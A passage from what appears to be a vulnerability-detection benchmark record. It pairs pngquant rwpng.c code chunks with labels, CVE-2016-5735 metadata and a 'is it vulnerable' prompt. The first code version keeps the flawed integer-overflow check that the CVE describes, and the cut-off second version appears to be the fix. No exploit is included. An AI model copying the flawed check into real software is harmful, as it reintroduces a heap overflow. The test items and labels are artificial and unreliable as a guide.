&mainprog_ptr->height,\n &bit_depth, &color_type, NULL, NULL, NULL);", "\n // For overflow safety reject images that won't fit in 32-bit\n if (mainprog_ptr->width > INT_MAX/mainprog_ptr->height) {\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n return PNG_OUT_OF_MEMORY_ERROR; /* not quite true, but whatever */\n }", "\n /* expand palette images to RGB, low-bit-depth grayscale images to 8 bits,\n * transparency chunks to full alpha channel; strip 16-bit-per-sample\n * images to 8 bits per sample; and convert grayscale to RGB[A] */", " /* GRR TO DO: preserve all safe-to-copy ancillary PNG chunks */", " if (!(color_type & PNG_COLOR_MASK_ALPHA)) {\n#ifdef PNG_READ_FILLER_SUPPORTED\n png_set_expand(png_ptr);\n png_set_filler(png_ptr, 65535L, PNG_FILLER_AFTER);\n#else\n fprintf(stderr, \"pngquant readpng: image is neither RGBA nor GA\\n\");\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n mainprog_ptr->retval = WRONG_INPUT_COLOR_TYPE;\n return mainprog_ptr->retval;\n#endif\n }", " if (bit_depth == 16) {\n png_set_strip_16(png_ptr);\n }", " if (!(color_type & PNG_COLOR_MASK_COLOR)) {\n png_set_gray_to_rgb(png_ptr);\n }", " /* get source gamma for gamma correction, or use sRGB default */\n double gamma = 0.45455;\n if (png_get_valid(png_ptr, info_ptr, PNG_INFO_sRGB)) {\n mainprog_ptr->input_color = RWPNG_SRGB;\n mainprog_ptr->output_color = RWPNG_SRGB;\n } else {\n png_get_gAMA(png_ptr, info_ptr, &gamma);\n if (gamma > 0 && gamma <= 1.0) {\n mainprog_ptr->input_color = RWPNG_GAMA_ONLY;\n mainprog_ptr->output_color = RWPNG_GAMA_ONLY;\n } else {\n fprintf(stderr, \"pngquant readpng: ignored out-of-range gamma %f\\n\", gamma);\n mainprog_ptr->input_color = RWPNG_NONE;\n mainprog_ptr->output_color = RWPNG_NONE;\n gamma = 0.45455;\n }\n }\n mainprog_ptr->gamma = gamma;", " png_set_interlace_handling(png_ptr);", " /* all transformations have been registered; now update info_ptr data,\n * get rowbytes and channels, and allocate image memory */", " png_read_update_info(png_ptr, info_ptr);", " rowbytes = png_get_rowbytes(png_ptr, info_ptr);\n", "", " if ((mainprog_ptr->rgba_data = malloc(rowbytes * mainprog_ptr->height)) == NULL) {\n fprintf(stderr, \"pngquant readpng: unable to allocate image data\\n\");\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n return PNG_OUT_OF_MEMORY_ERROR;\n }", " png_bytepp row_pointers = rwpng_create_row_pointers(info_ptr, png_ptr, mainprog_ptr->rgba_data, mainprog_ptr->height, 0);", " /* now we can go ahead and just read the whole image */", " png_read_image(png_ptr, row_pointers);", " /* and we're done! (png_read_end() can be omitted if no processing of\n * post-IDAT text/time/etc. is desired) */", " png_read_end(png_ptr, NULL);", "#if USE_LCMS\n#if PNG_LIBPNG_VER < 10500\n png_charp ProfileData;\n#else\n png_bytep ProfileData;\n#endif\n png_uint_32 ProfileLen;", " cmsHPROFILE hInProfile = NULL;", " /* color_type is read from the image before conversion to RGBA */\n int COLOR_PNG = color_type & PNG_COLOR_MASK_COLOR;", " /* embedded ICC profile */\n if (png_get_iCCP(png_ptr, info_ptr, &(png_charp){0}, &(int){0}, &ProfileData, &ProfileLen)) {", " hInProfile = cmsOpenProfileFromMem(ProfileData, ProfileLen);\n cmsColorSpaceSignature colorspace = cmsGetColorSpace(hInProfile);", " /* only RGB (and GRAY) valid for PNGs */\n if (colorspace == cmsSigRgbData && COLOR_PNG) {\n mainprog_ptr->input_color = RWPNG_ICCP;\n mainprog_ptr->output_color = RWPNG_SRGB;\n } else {\n if (colorspace == cmsSigGrayData && !COLOR_PNG) {\n mainprog_ptr->input_color = RWPNG_ICCP_WARN_GRAY;\n mainprog_ptr->output_color = RWPNG_SRGB;\n }\n cmsCloseProfile(hInProfile);\n hInProfile = NULL;\n }\n }", " /* build RGB profile from cHRM and gAMA */\n if (hInProfile == NULL && COLOR_PNG &&\n !png_get_valid(png_ptr, info_ptr, PNG_INFO_sRGB) &&\n png_get_valid(png_ptr, info_ptr, PNG_INFO_gAMA) &&\n png_get_valid(png_ptr, info_ptr, PNG_INFO_cHRM)) {", " cmsCIExyY WhitePoint;\n cmsCIExyYTRIPLE Primaries;", " png_get_cHRM(png_ptr, info_ptr, &WhitePoint.x, &WhitePoint.y,\n &Primaries.Red.x, &Primaries.Red.y,\n &Primaries.Green.x, &Primaries.Green.y,\n &Primaries.Blue.x, &Primaries.Blue.y);", " WhitePoint.Y = Primaries.Red.Y = Primaries.Green.Y = Primaries.Blue.Y = 1.0;", " cmsToneCurve *GammaTable[3];\n GammaTable[0] = GammaTable[1] = GammaTable[2] = cmsBuildGamma(NULL, 1/gamma);", " hInProfile = cmsCreateRGBProfile(&WhitePoint, &Primaries, GammaTable);", " cmsFreeToneCurve(GammaTable[0]);", " mainprog_ptr->input_color = RWPNG_GAMA_CHRM;\n mainprog_ptr->output_color = RWPNG_SRGB;\n }", " /* transform image to sRGB colorspace */\n if (hInProfile != NULL) {", " cmsHPROFILE hOutProfile = cmsCreate_sRGBProfile();\n cmsHTRANSFORM hTransform = cmsCreateTransform(hInProfile, TYPE_RGBA_8,\n hOutProfile, TYPE_RGBA_8,\n INTENT_PERCEPTUAL,\n omp_get_max_threads() > 1 ? cmsFLAGS_NOCACHE : 0);", " #pragma omp parallel for \\\n if (mainprog_ptr->height*mainprog_ptr->width > 8000) \\\n schedule(static)\n for (unsigned int i = 0; i < mainprog_ptr->height; i++) {\n /* It is safe to use the same block for input and output,\n when both are of the same TYPE. */\n cmsDoTransform(hTransform, row_pointers[i],\n row_pointers[i],\n mainprog_ptr->width);\n }", " cmsDeleteTransform(hTransform);\n cmsCloseProfile(hOutProfile);\n cmsCloseProfile(hInProfile);", " mainprog_ptr->gamma = 0.45455;\n }\n#endif", " png_destroy_read_struct(&png_ptr, &info_ptr, NULL);", " mainprog_ptr->file_size = read_data.bytes_read;\n mainprog_ptr->row_pointers = (unsigned char **)row_pointers;", " return SUCCESS;\n}\n#endif", "static void rwpng_free_chunks(struct rwpng_chunk *chunk) {\n if (!chunk) return;\n rwpng_free_chunks(chunk->next);\n free(chunk->data);\n free(chunk);\n}", "void rwpng_free_image24(png24_image *image)\n{\n free(image->row_pointers);\n image->row_pointers = NULL;", " free(image->rgba_data);\n image->rgba_data = NULL;", " rwpng_free_chunks(image->chunks);\n image->chunks = NULL;\n}", "void rwpng_free_image8(png8_image *image)\n{\n free(image->indexed_data);\n image->indexed_data = NULL;", " free(image->row_pointers);\n image->row_pointers = NULL;", " rwpng_free_chunks(image->chunks);\n image->chunks = NULL;\n}", "pngquant_error rwpng_read_image24(FILE *infile, png24_image *input_image_p, int verbose)\n{\n#if USE_COCOA\n return rwpng_read_image24_cocoa(infile, input_image_p);\n#else\n return rwpng_read_image24_libpng(infile, input_image_p, verbose);\n#endif\n}", "\nstatic pngquant_error rwpng_write_image_init(rwpng_png_image *mainprog_ptr, png_structpp png_ptr_p, png_infopp info_ptr_p, int fast_compression)\n{\n /* could also replace libpng warning-handler (final NULL), but no need: */", " *png_ptr_p = png_create_write_struct(PNG_LIBPNG_VER_STRING, mainprog_ptr, rwpng_error_handler, NULL);", " if (!(*png_ptr_p)) {\n return LIBPNG_INIT_ERROR; /* out of memory */\n }", " *info_ptr_p = png_create_info_struct(*png_ptr_p);\n if (!(*info_ptr_p)) {\n png_destroy_write_struct(png_ptr_p, NULL);\n return LIBPNG_INIT_ERROR; /* out of memory */\n }", " /* setjmp() must be called in every function that calls a PNG-writing\n * libpng function, unless an alternate error handler was installed--\n * but compatible error handlers must either use longjmp() themselves\n * (as in this program) or exit immediately, so here we go: */", " if (setjmp(mainprog_ptr->jmpbuf)) {\n png_destroy_write_struct(png_ptr_p, info_ptr_p);\n return LIBPNG_INIT_ERROR; /* libpng error (via longjmp()) */\n }", " png_set_compression_level(*png_ptr_p, fast_compression ? Z_BEST_SPEED : Z_BEST_COMPRESSION);\n png_set_compression_mem_level(*png_ptr_p, fast_compression ? 9 : 5); // judging by optipng results, smaller mem makes libpng compress slightly better", " return SUCCESS;\n}", "\nstatic void rwpng_write_end(png_infopp info_ptr_p, png_structpp png_ptr_p, png_bytepp row_pointers)\n{\n png_write_info(*png_ptr_p, *info_ptr_p);", " png_set_packing(*png_ptr_p);", " png_write_image(*png_ptr_p, row_pointers);", " png_write_end(*png_ptr_p, NULL);", " png_destroy_write_struct(png_ptr_p, info_ptr_p);\n}", "static void rwpng_set_gamma(png_infop info_ptr, png_structp png_ptr, double gamma, rwpng_color_transform color)\n{\n if (color != RWPNG_GAMA_ONLY && color != RWPNG_NONE) {\n png_set_gAMA(png_ptr, info_ptr, gamma);\n }\n if (color == RWPNG_SRGB) {\n png_set_sRGB(png_ptr, info_ptr, 0); // 0 = Perceptual\n }\n}", "pngquant_error rwpng_write_image8(FILE *outfile, const png8_image *mainprog_ptr)\n{\n png_structp png_ptr;\n png_infop info_ptr;", " if (mainprog_ptr->num_palette > 256) return INVALID_ARGUMENT;", " pngquant_error retval = rwpng_write_image_init((rwpng_png_image*)mainprog_ptr, &png_ptr, &info_ptr, mainprog_ptr->fast_compression);\n if (retval) return retval;", " struct rwpng_write_state write_state;\n write_state = (struct rwpng_write_state){\n .outfile = outfile,\n .maximum_file_size = mainprog_ptr->maximum_file_size,\n .retval = SUCCESS,\n };\n png_set_write_fn(png_ptr, &write_state, user_write_data, user_flush_data);", " // Palette images generally don't gain anything from filtering\n png_set_filter(png_ptr, PNG_FILTER_TYPE_BASE, PNG_FILTER_VALUE_NONE);", " rwpng_set_gamma(info_ptr, png_ptr, mainprog_ptr->gamma, mainprog_ptr->output_color);", " /* set the image parameters appropriately */\n int sample_depth;\n#if PNG_LIBPNG_VER > 10400 /* old libpng corrupts files with low depth */\n if (mainprog_ptr->num_palette <= 2)\n sample_depth = 1;\n else if (mainprog_ptr->num_palette <= 4)\n sample_depth = 2;\n else if (mainprog_ptr->num_palette <= 16)\n sample_depth = 4;\n else\n#endif\n sample_depth = 8;", " struct rwpng_chunk *chunk = mainprog_ptr->chunks;\n int chunk_num=0;\n while(chunk) {\n png_unknown_chunk pngchunk = {\n .size = chunk->size,\n .data = chunk->data,\n .location = chunk->location,\n };\n memcpy(pngchunk.name, chunk->name, 5);\n png_set_unknown_chunks(png_ptr, info_ptr, &pngchunk, 1);", " #if defined(PNG_HAVE_IHDR) && PNG_LIBPNG_VER < 10600\n png_set_unknown_chunk_location(png_ptr, info_ptr, chunk_num, pngchunk.location ? pngchunk.location : PNG_HAVE_IHDR);\n #endif", " chunk = chunk->next;\n chunk_num++;\n }", " png_set_IHDR(png_ptr, info_ptr, mainprog_ptr->width, mainprog_ptr->height,\n sample_depth, PNG_COLOR_TYPE_PALETTE,\n 0, PNG_COMPRESSION_TYPE_DEFAULT,\n PNG_FILTER_TYPE_BASE);", " png_color palette[256];\n png_byte trans[256];\n unsigned int num_trans = 0;\n for(unsigned int i = 0; i < mainprog_ptr->num_palette; i++) {\n palette[i] = (png_color){\n .red = mainprog_ptr->palette[i].r,\n .green = mainprog_ptr->palette[i].g,\n .blue = mainprog_ptr->palette[i].b,\n };\n trans[i] = mainprog_ptr->palette[i].a;\n if (mainprog_ptr->palette[i].a < 255) {\n num_trans = i+1;\n }\n }", " png_set_PLTE(png_ptr, info_ptr, palette, mainprog_ptr->num_palette);", " if (num_trans > 0) {\n png_set_tRNS(png_ptr, info_ptr, trans, num_trans, NULL);\n }", " rwpng_write_end(&info_ptr, &png_ptr, mainprog_ptr->row_pointers);", " if (SUCCESS == write_state.retval && write_state.maximum_file_size && write_state.bytes_written > write_state.maximum_file_size) {\n return TOO_LARGE_FILE;\n }", " return write_state.retval;\n}", "pngquant_error rwpng_write_image24(FILE *outfile, const png24_image *mainprog_ptr)\n{\n png_structp png_ptr;\n png_infop info_ptr;", " pngquant_error retval = rwpng_write_image_init((rwpng_png_image*)mainprog_ptr, &png_ptr, &info_ptr, 0);\n if (retval) return retval;", " png_init_io(png_ptr, outfile);", " rwpng_set_gamma(info_ptr, png_ptr, mainprog_ptr->gamma, mainprog_ptr->output_color);", " png_set_IHDR(png_ptr, info_ptr, mainprog_ptr->width, mainprog_ptr->height,\n 8, PNG_COLOR_TYPE_RGB_ALPHA,\n 0, PNG_COMPRESSION_TYPE_DEFAULT,\n PNG_FILTER_TYPE_BASE);", "\n png_bytepp row_pointers = rwpng_create_row_pointers(info_ptr, png_ptr, mainprog_ptr->rgba_data, mainprog_ptr->height, 0);", " rwpng_write_end(&info_ptr, &png_ptr, row_pointers);", " free(row_pointers);", " return SUCCESS;\n}", "static void rwpng_error_handler(png_structp png_ptr, png_const_charp msg)\n{\n rwpng_png_image *mainprog_ptr;", " /* This function, aside from the extra step of retrieving the \"error\n * pointer\" (below) and the fact that it exists within the application\n * rather than within libpng, is essentially identical to libpng's\n * default error handler. The second point is critical: since both\n * setjmp() and longjmp() are called from the same code, they are\n * guaranteed to have compatible notions of how big a jmp_buf is,\n * regardless of whether _BSD_SOURCE or anything else has (or has not)\n * been defined. */", " fprintf(stderr, \" error: %s (libpng failed)\\n\", msg);\n fflush(stderr);", " mainprog_ptr = png_get_error_ptr(png_ptr);\n if (mainprog_ptr == NULL) abort();", " longjmp(mainprog_ptr->jmpbuf, 1);\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [306], "buggy_code_start_loc": [246], "filenames": ["rwpng.c"], "fixing_code_end_loc": [307], "fixing_code_start_loc": [245], "message": "Integer overflow in the rwpng_read_image24_libpng function in rwpng.c in pngquant 2.7.0 allows remote attackers to have unspecified impact via a crafted PNG file, which triggers a buffer overflow.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:pngquant:pngquant:2.7.0:*:*:*:*:*:*:*", "matchCriteriaId": "82CC7C03-9215-44B0-8A63-87867C026393", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Integer overflow in the rwpng_read_image24_libpng function in rwpng.c in pngquant 2.7.0 allows remote attackers to have unspecified impact via a crafted PNG file, which triggers a buffer overflow."}, {"lang": "es", "value": "Un desbordamiento de enteros en la funci\u00f3n rwpng_read_image24_libpng en pngquant 2.7.0 permite a los atacantes remotos provocar un impacto no especificado mediante un archivo PNG manipulado, lo cual provoca un desbordamiento de b\u00fafer."}], "evaluatorComment": null, "id": "CVE-2016-5735", "lastModified": "2020-06-28T15:15:10.620", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2017-05-23T04:29:01.477", "references": [{"source": "cve@mitre.org", "tags": ["Exploit", "Technical Description", "Third Party Advisory"], "url": "http://sf.snu.ac.kr/gil.hur/publications/shovel.pdf"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/pornel/pngquant/commit/b7c217680cda02dddced245d237ebe8c383be285"}, {"source": "cve@mitre.org", "tags": null, "url": "https://lists.debian.org/debian-lts-announce/2020/06/msg00028.html"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-190"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/pornel/pngquant/commit/b7c217680cda02dddced245d237ebe8c383be285"}, "type": "CWE-190"}
139
Determine whether the {function_name} code is vulnerable or not.
[ "/*---------------------------------------------------------------------------", " pngquant: RGBA -> RGBA-palette quantization program rwpng.c", " ---------------------------------------------------------------------------", " © 1998-2000 by Greg Roelofs.\n © 2009-2015 by Kornel Lesiński.", " All rights reserved.", " Redistribution and use in source and binary forms, with or without modification,\n are permitted provided that the following conditions are met:", " 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.", " 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.", " THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.", " ---------------------------------------------------------------------------*/", "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <limits.h>", "#include \"png.h\" /* if this include fails, you need to install libpng (e.g. libpng-devel package) and run ./configure */\n#include \"rwpng.h\"\n#if USE_LCMS\n#include \"lcms2.h\"\n#endif", "#ifndef Z_BEST_COMPRESSION\n#define Z_BEST_COMPRESSION 9\n#endif\n#ifndef Z_BEST_SPEED\n#define Z_BEST_SPEED 1\n#endif", "#ifdef _OPENMP\n#include <omp.h>\n#else\n#define omp_get_max_threads() 1\n#endif", "#if PNG_LIBPNG_VER < 10500\ntypedef png_const_charp png_const_bytep;\n#endif", "static void rwpng_error_handler(png_structp png_ptr, png_const_charp msg);\nint rwpng_read_image24_cocoa(FILE *infile, png24_image *mainprog_ptr);", "\nvoid rwpng_version_info(FILE *fp)\n{\n const char *pngver = png_get_header_ver(NULL);", "#if USE_COCOA\n fprintf(fp, \" Color profiles are supported via Cocoa. Using libpng %s.\\n\", pngver);\n#elif USE_LCMS\n fprintf(fp, \" Color profiles are supported via Little CMS. Using libpng %s.\\n\", pngver);\n#else\n fprintf(fp, \" Compiled with no support for color profiles. Using libpng %s.\\n\", pngver);\n#endif", "#if PNG_LIBPNG_VER < 10600\n if (strcmp(pngver, \"1.3.\") < 0) {\n fputs(\"\\nWARNING: Your version of libpng is outdated and may produce corrupted files.\\n\"\n \"Please recompile pngquant with the current version of libpng (1.6 or later).\\n\", fp);\n } else if (strcmp(pngver, \"1.6.\") < 0) {\n #if defined(PNG_UNKNOWN_CHUNKS_SUPPORTED)\n fputs(\"\\nWARNING: Your version of libpng is old and has buggy support for custom chunks.\\n\"\n \"Please recompile pngquant with the current version of libpng (1.6 or later).\\n\", fp);\n #endif\n }\n#endif\n}", "\nstruct rwpng_read_data {\n FILE *const fp;\n png_size_t bytes_read;\n};", "#if !USE_COCOA\nstatic void user_read_data(png_structp png_ptr, png_bytep data, png_size_t length)\n{\n struct rwpng_read_data *read_data = (struct rwpng_read_data *)png_get_io_ptr(png_ptr);", " png_size_t read = fread(data, 1, length, read_data->fp);\n if (!read) {\n png_error(png_ptr, \"Read error\");\n }\n read_data->bytes_read += read;\n}\n#endif", "struct rwpng_write_state {\n FILE *outfile;\n png_size_t maximum_file_size;\n png_size_t bytes_written;\n pngquant_error retval;\n};", "static void user_write_data(png_structp png_ptr, png_bytep data, png_size_t length)\n{\n struct rwpng_write_state *write_state = (struct rwpng_write_state *)png_get_io_ptr(png_ptr);", " if (SUCCESS != write_state->retval) {\n return;\n }", " if (!fwrite(data, length, 1, write_state->outfile)) {\n write_state->retval = CANT_WRITE_ERROR;\n }", " write_state->bytes_written += length;\n}", "static void user_flush_data(png_structp png_ptr)\n{\n // libpng never calls this :(\n}", "\nstatic png_bytepp rwpng_create_row_pointers(png_infop info_ptr, png_structp png_ptr, unsigned char *base, unsigned int height, png_size_t rowbytes)\n{\n if (!rowbytes) {\n rowbytes = png_get_rowbytes(png_ptr, info_ptr);\n }", " png_bytepp row_pointers = malloc(height * sizeof(row_pointers[0]));\n if (!row_pointers) return NULL;\n for(size_t row = 0; row < height; row++) {\n row_pointers[row] = base + row * rowbytes;\n }\n return row_pointers;\n}", "#if !USE_COCOA\nstatic int read_chunk_callback(png_structp png_ptr, png_unknown_chunkp in_chunk)\n{\n if (0 == memcmp(\"iCCP\", in_chunk->name, 5) ||\n 0 == memcmp(\"cHRM\", in_chunk->name, 5) ||\n 0 == memcmp(\"gAMA\", in_chunk->name, 5)) {\n return 0; // not handled\n }", " struct rwpng_chunk **head = (struct rwpng_chunk **)png_get_user_chunk_ptr(png_ptr);", " struct rwpng_chunk *chunk = malloc(sizeof(struct rwpng_chunk));\n memcpy(chunk->name, in_chunk->name, 5);\n chunk->size = in_chunk->size;\n chunk->location = in_chunk->location;\n chunk->data = in_chunk->size ? malloc(in_chunk->size) : NULL;\n if (in_chunk->size) {\n memcpy(chunk->data, in_chunk->data, in_chunk->size);\n }", " chunk->next = *head;\n *head = chunk;", " return 1; // marks as \"handled\", libpng won't store it\n}\n#endif", "/*\n retval:\n 0 = success\n 21 = bad sig\n 22 = bad IHDR\n 24 = insufficient memory\n 25 = libpng error (via longjmp())\n 26 = wrong PNG color type (no alpha channel)\n */", "#if !USE_COCOA\nstatic void rwpng_warning_stderr_handler(png_structp png_ptr, png_const_charp msg) {\n fprintf(stderr, \" libpng warning: %s\\n\", msg);\n}", "static void rwpng_warning_silent_handler(png_structp png_ptr, png_const_charp msg) {\n}", "static pngquant_error rwpng_read_image24_libpng(FILE *infile, png24_image *mainprog_ptr, int verbose)\n{\n png_structp png_ptr = NULL;\n png_infop info_ptr = NULL;\n png_size_t rowbytes;\n int color_type, bit_depth;", " png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING, mainprog_ptr,\n rwpng_error_handler, verbose ? rwpng_warning_stderr_handler : rwpng_warning_silent_handler);\n if (!png_ptr) {\n return PNG_OUT_OF_MEMORY_ERROR; /* out of memory */\n }", " info_ptr = png_create_info_struct(png_ptr);\n if (!info_ptr) {\n png_destroy_read_struct(&png_ptr, NULL, NULL);\n return PNG_OUT_OF_MEMORY_ERROR; /* out of memory */\n }", " /* setjmp() must be called in every function that calls a non-trivial\n * libpng function */", " if (setjmp(mainprog_ptr->jmpbuf)) {\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n return LIBPNG_FATAL_ERROR; /* fatal libpng error (via longjmp()) */\n }", "#if defined(PNG_SKIP_sRGB_CHECK_PROFILE) && defined(PNG_SET_OPTION_SUPPORTED)\n png_set_option(png_ptr, PNG_SKIP_sRGB_CHECK_PROFILE, PNG_OPTION_ON);\n#endif", "#if PNG_LIBPNG_VER >= 10500 && defined(PNG_UNKNOWN_CHUNKS_SUPPORTED)\n /* copy standard chunks too */\n png_set_keep_unknown_chunks(png_ptr, PNG_HANDLE_CHUNK_IF_SAFE, (png_const_bytep)\"pHYs\\0iTXt\\0tEXt\\0zTXt\", 4);\n#endif\n png_set_read_user_chunk_fn(png_ptr, &mainprog_ptr->chunks, read_chunk_callback);", " struct rwpng_read_data read_data = {infile, 0};\n png_set_read_fn(png_ptr, &read_data, user_read_data);", " png_read_info(png_ptr, info_ptr); /* read all PNG info up to image data */", " /* alternatively, could make separate calls to png_get_image_width(),\n * etc., but want bit_depth and color_type for later [don't care about\n * compression_type and filter_type => NULLs] */", " png_get_IHDR(png_ptr, info_ptr, &mainprog_ptr->width, &mainprog_ptr->height,\n &bit_depth, &color_type, NULL, NULL, NULL);", "", "\n /* expand palette images to RGB, low-bit-depth grayscale images to 8 bits,\n * transparency chunks to full alpha channel; strip 16-bit-per-sample\n * images to 8 bits per sample; and convert grayscale to RGB[A] */", " /* GRR TO DO: preserve all safe-to-copy ancillary PNG chunks */", " if (!(color_type & PNG_COLOR_MASK_ALPHA)) {\n#ifdef PNG_READ_FILLER_SUPPORTED\n png_set_expand(png_ptr);\n png_set_filler(png_ptr, 65535L, PNG_FILLER_AFTER);\n#else\n fprintf(stderr, \"pngquant readpng: image is neither RGBA nor GA\\n\");\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n mainprog_ptr->retval = WRONG_INPUT_COLOR_TYPE;\n return mainprog_ptr->retval;\n#endif\n }", " if (bit_depth == 16) {\n png_set_strip_16(png_ptr);\n }", " if (!(color_type & PNG_COLOR_MASK_COLOR)) {\n png_set_gray_to_rgb(png_ptr);\n }", " /* get source gamma for gamma correction, or use sRGB default */\n double gamma = 0.45455;\n if (png_get_valid(png_ptr, info_ptr, PNG_INFO_sRGB)) {\n mainprog_ptr->input_color = RWPNG_SRGB;\n mainprog_ptr->output_color = RWPNG_SRGB;\n } else {\n png_get_gAMA(png_ptr, info_ptr, &gamma);\n if (gamma > 0 && gamma <= 1.0) {\n mainprog_ptr->input_color = RWPNG_GAMA_ONLY;\n mainprog_ptr->output_color = RWPNG_GAMA_ONLY;\n } else {\n fprintf(stderr, \"pngquant readpng: ignored out-of-range gamma %f\\n\", gamma);\n mainprog_ptr->input_color = RWPNG_NONE;\n mainprog_ptr->output_color = RWPNG_NONE;\n gamma = 0.45455;\n }\n }\n mainprog_ptr->gamma = gamma;", " png_set_interlace_handling(png_ptr);", " /* all transformations have been registered; now update info_ptr data,\n * get rowbytes and channels, and allocate image memory */", " png_read_update_info(png_ptr, info_ptr);", " rowbytes = png_get_rowbytes(png_ptr, info_ptr);\n", " // For overflow safety reject images that won't fit in 32-bit\n if (rowbytes > INT_MAX/mainprog_ptr->height) {\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n return PNG_OUT_OF_MEMORY_ERROR;\n }\n", " if ((mainprog_ptr->rgba_data = malloc(rowbytes * mainprog_ptr->height)) == NULL) {\n fprintf(stderr, \"pngquant readpng: unable to allocate image data\\n\");\n png_destroy_read_struct(&png_ptr, &info_ptr, NULL);\n return PNG_OUT_OF_MEMORY_ERROR;\n }", " png_bytepp row_pointers = rwpng_create_row_pointers(info_ptr, png_ptr, mainprog_ptr->rgba_data, mainprog_ptr->height, 0);", " /* now we can go ahead and just read the whole image */", " png_read_image(png_ptr, row_pointers);", " /* and we're done! (png_read_end() can be omitted if no processing of\n * post-IDAT text/time/etc. is desired) */", " png_read_end(png_ptr, NULL);", "#if USE_LCMS\n#if PNG_LIBPNG_VER < 10500\n png_charp ProfileData;\n#else\n png_bytep ProfileData;\n#endif\n png_uint_32 ProfileLen;", " cmsHPROFILE hInProfile = NULL;", " /* color_type is read from the image before conversion to RGBA */\n int COLOR_PNG = color_type & PNG_COLOR_MASK_COLOR;", " /* embedded ICC profile */\n if (png_get_iCCP(png_ptr, info_ptr, &(png_charp){0}, &(int){0}, &ProfileData, &ProfileLen)) {", " hInProfile = cmsOpenProfileFromMem(ProfileData, ProfileLen);\n cmsColorSpaceSignature colorspace = cmsGetColorSpace(hInProfile);", " /* only RGB (and GRAY) valid for PNGs */\n if (colorspace == cmsSigRgbData && COLOR_PNG) {\n mainprog_ptr->input_color = RWPNG_ICCP;\n mainprog_ptr->output_color = RWPNG_SRGB;\n } else {\n if (colorspace == cmsSigGrayData && !COLOR_PNG) {\n mainprog_ptr->input_color = RWPNG_ICCP_WARN_GRAY;\n mainprog_ptr->output_color = RWPNG_SRGB;\n }\n cmsCloseProfile(hInProfile);\n hInProfile = NULL;\n }\n }", " /* build RGB profile from cHRM and gAMA */\n if (hInProfile == NULL && COLOR_PNG &&\n !png_get_valid(png_ptr, info_ptr, PNG_INFO_sRGB) &&\n png_get_valid(png_ptr, info_ptr, PNG_INFO_gAMA) &&\n 